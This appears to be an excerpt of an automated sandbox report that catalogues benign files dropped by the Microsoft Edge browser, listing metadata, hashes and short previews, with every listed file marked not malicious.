Preview:	........................................x...\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2d641.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2d651.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2db43.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF301c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF32943.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33ccb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33d1a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35c5a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF35c98.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ebc8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF412e8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF44b4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791852384136811
Encrypted:	false
SSDEEP:	96:iaqkHfqpWkt95ih/cI9URLl8RotoRMFVvlwhQe4IbONIeTC6XQS0qGqk+Z4uj+rJ:akyrtyeiRUahw6qRAq1k8SPxVLZ7VTiq
MD5:	C39DA67F14E03581766BD84404B67F56
SHA1:	3BDD947C1DEDE0D2FA9A48E29A8995D916A66ED9
SHA-256:	12323886DCFE4E5E2E51EEBC9751237E8375C96725B04DA5FCE936BA47495C21
SHA-512:	BCC066DDCEC5E0E84BDA315619104F928DA3B2CF558C051F461F51C605DFDDD45EE1755DA1C41B8BC952255A6A9C7125C4DC949975A718458DB9CABB902FB934
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADsOHrMc1htSLcwmWj6+2V9EAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAVTGnptGvnGuDqi15EktFBg8xm6at7iv1j6yzfvhIGmgAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5963118027796015
Encrypted:	false
SSDEEP:	12:TLyeuAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isTydBVzQd9U9ez/qS9i:TLyXOUOq0afDdWec9sJz+Z7J5fc
MD5:	48A6A0713B06707BC2FE9A0F381748D3
SHA1:	043A614CFEF749A49837F19F627B9D6B73F15039
SHA-256:	2F2006ADEA26E5FF95198883A080C9881D774154D073051FC69053AF912B037B
SHA-512:	4C04FFAE2B558EB4C05AD9DCA094700D927AFAD1E561D6358F1A77CB09FC481A6424237DFF6AB37D147E029E19D565E876CD85A2E9C0EC1B068002AA13A16DBA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
